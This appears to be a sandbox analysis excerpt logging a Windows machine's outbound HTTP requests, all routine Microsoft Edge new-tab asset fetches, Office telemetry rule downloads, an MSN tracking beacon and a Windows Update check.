Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=306F509DFB216A50056745A3FA536B36&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=97998c668f92419a8bf10c5e9eaf675f HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=306F509DFB216A50056745A3FA536B36; _EDGE_S=F=1&SID=0AE532EF421B6DF904C527D143376C7B; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732230714889&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=306F509DFB216A50056745A3FA536B36&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=12De08d5b791f06448eef4f1732230715; XID=12De08d5b791f06448eef4f1732230715
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732230714888&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=53c96a7ddf164fe5bea8add971aea1bc&activityId=53c96a7ddf164fe5bea8add971aea1bc&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=2D251323873B4956AEDB92FD764EF17E&MUID=306F509DFB216A50056745A3FA536B36 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=306F509DFB216A50056745A3FA536B36; _EDGE_S=F=1&SID=0AE532EF421B6DF904C527D143376C7B; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=306F509DFB216A50056745A3FA536B36&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=2192e9989e324aa8b771136938e5bc37 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=306F509DFB216A50056745A3FA536B36; _EDGE_S=F=1&SID=0AE532EF421B6DF904C527D143376C7B; _EDGE_V=1; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msDBP.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msIAw.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Wd6wNsuXDrZyAcf&MD=dGHRz9N3 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
